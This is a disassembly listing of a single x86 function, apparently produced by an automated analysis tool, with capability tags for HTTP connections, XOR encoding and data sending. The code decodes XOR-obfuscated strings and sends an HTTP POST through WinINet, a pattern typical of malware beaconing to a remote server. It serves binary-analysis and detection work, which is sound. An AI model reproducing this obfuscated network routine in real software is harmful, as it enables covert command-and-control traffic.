Function at 0x4015b0
Capabilities:
Connect to http server
Create http request
Encode data using xor
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x44
mov eax, dword [esp + 0x5c]
mov dword [esp], 0
add eax, eax
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x84], 0
je 0x4018e5
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 8]
cmp byte [ecx + 0x82], 0
je 0x401787
movdqa xmm1, xmmword [0x4450d0]
movdqa xmm3, xmmword [0x4450e0]
movdqa xmm2, xmmword [0x4450f0]
movdqa xmm0, xmmword [0x445100]
xor ecx, ecx
xor edx, edx
nop word cs:[eax + eax]
movdqu xmmword [esp + 0x34], xmm0
movdqu xmmword [esp + 0x24], xmm2
movdqu xmmword [esp + 4], xmm3
movdqu xmmword [esp + 0x14], xmm1
movdqu xmm5, xmmword [esp + 0x14]
psllq xmm5, 3
movdqu xmm4, xmmword [esp + 4]
psllq xmm4, 3
movdqu xmm2, xmmword [esp + 0x24]
psllq xmm2, 3
movdqa xmm3, xmm0
psllq xmm3, 3
movdqa xmm7, xmmword [0x445110]
pand xmm3, xmm7
pand xmm2, xmm7
pand xmm5, xmm7
movdqa xmm6, xmmword [0x445120]
movdqa xmm0, xmm6
psrlq xmm0, xmm5
pshufd xmm1, xmm5, 0xee
movdqa xmm5, xmm6
psrlq xmm5, xmm1
pand xmm4, xmm7
movdqa xmm1, xmm6
psrlq xmm1, xmm4
pshufd xmm7, xmm4, 0xee
movdqa xmm4, xmm6
psrlq xmm4, xmm7
movsd xmm5, xmm0
movdqa xmm0, xmm6
psrlq xmm0, xmm2
pshufd xmm2, xmm2, 0xee
movdqa xmm7, xmm6
psrlq xmm7, xmm2
movsd xmm4, xmm1
movdqa xmm1, xmm6
psrlq xmm1, xmm3
pshufd xmm3, xmm3, 0xee
psrlq xmm6, xmm3
movsd xmm7, xmm0
movsd xmm6, xmm1
movapd xmm0, xmmword [0x445130]
andpd xmm6, xmm0
andpd xmm7, xmm0
packuswb xmm6, xmm7
andpd xmm4, xmm0
andpd xmm5, xmm0
packuswb xmm4, xmm5
movdqu xmm1, xmmword [esp + 0x14]
packuswb xmm6, xmm4
movdqu xmm3, xmmword [esp + 4]
packuswb xmm6, xmm6
movq xmm0, qword [eax + ecx]
pxor xmm0, xmm6
movdqu xmm2, xmmword [esp + 0x24]
movq qword [eax + ecx], xmm0
movdqu xmm0, xmmword [esp + 0x34]
add ecx, 8
adc edx, 0
movdqa xmm4, xmmword [0x445140]
paddq xmm0, xmm4
paddq xmm2, xmm4
paddq xmm3, xmm4
paddq xmm1, xmm4
mov esi, ecx
xor esi, 0x78
or esi, edx
jne 0x401640
xor byte [eax + 0x78], 0x6a
xor byte [eax + 0x79], 0x74
mov byte [eax + 0x7a], 0
sub esp, 0x14
movaps xmm0, xmmword [0x445150]
movups xmmword [esp + 4], xmm0
mov dword [esp], eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov eax, dword [0x454984]
add eax, 0x18
sub esp, 0x20
movaps xmm0, xmmword [0x445160]
movups xmmword [esp + 8], xmm0
mov dword [esp + 4], eax
mov dword [esp], esi
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetConnectW]
mov ebx, eax
sub esp, 0x20
xorps xmm0, xmm0
movups xmmword [esp + 0xc], xmm0
mov dword [esp], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 8], 0x454988
mov dword [esp + 4], str.POST
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov ebp, eax
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x94], 0
je 0x401986
mov eax, dword [esp + 0x58]
mov ecx, dword [0x4575b8]
mov edx, dword fs:[0x2c]
mov edx, dword [edx + ecx*4]
lea ecx, [edx + 0x88]
cmp byte [edx + 0x92], 0
je 0x40185e
movsd xmm0, qword [ecx]
xorps xmm0, xmmword [0x445180]
movlps qword [ecx], xmm0
xor byte [ecx + 8], 0x6a
xor byte [ecx + 9], 0x74
mov byte [ecx + 0xa], 0
push eax
push ecx
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0xa0000000
push 0xffffffffffffffff
push edi
push ebp
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
sub esp, 0x14
xorps xmm0, xmm0
movups xmmword [esp + 4], xmm0
mov dword [esp], ebp
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x4018d6
mov eax, esp
push eax
push dword [esp + 0x68]
push dword [esp + 0x68]
push ebp
call dword [sym.imp.WININET.dll_InternetReadFile]
mov dword [esp + 4], ebx
xor ebx, ebx
test eax, eax
setne bl
shl ebx, 4
or ebx, 1
mov dword [esp + 0x14], edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebp
call edi
push dword [esp + 4]
call edi
push esi
call edi
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x4018db
mov ebx, 1
mov eax, ebx
add esp, 0x44
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x84], 1
mov byte [eax + 0x82], 1
movups xmm0, xmmword [section..rdata]
movups xmmword [eax + 8], xmm0
movups xmm0, xmmword [0x445010]
movups xmmword [eax + 0x18], xmm0
movups xmm0, xmmword [0x445020]
movups xmmword [eax + 0x28], xmm0
movups xmm0, xmmword [0x445030]
movups xmmword [eax + 0x38], xmm0
movups xmm0, xmmword [0x445040]
movups xmmword [eax + 0x48], xmm0
movups xmm0, xmmword [0x445050]
movups xmmword [eax + 0x58], xmm0
movups xmm0, xmmword [0x445060]
movups xmmword [eax + 0x68], xmm0
movdqu xmm0, xmmword [0x44506a]
movdqu xmmword [eax + 0x72], xmm0
push 0x405220
call fcn.00405999
add esp, 4
jmp 0x4015eb
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x94], 1
mov byte [eax + 0x92], 1
movsd xmm0, qword [0x445170]
movsd qword [eax + 0x88], xmm0
mov word [eax + 0x90], 0x7460
push 0x405270
call fcn.00405999
add esp, 4
jmp 0x401821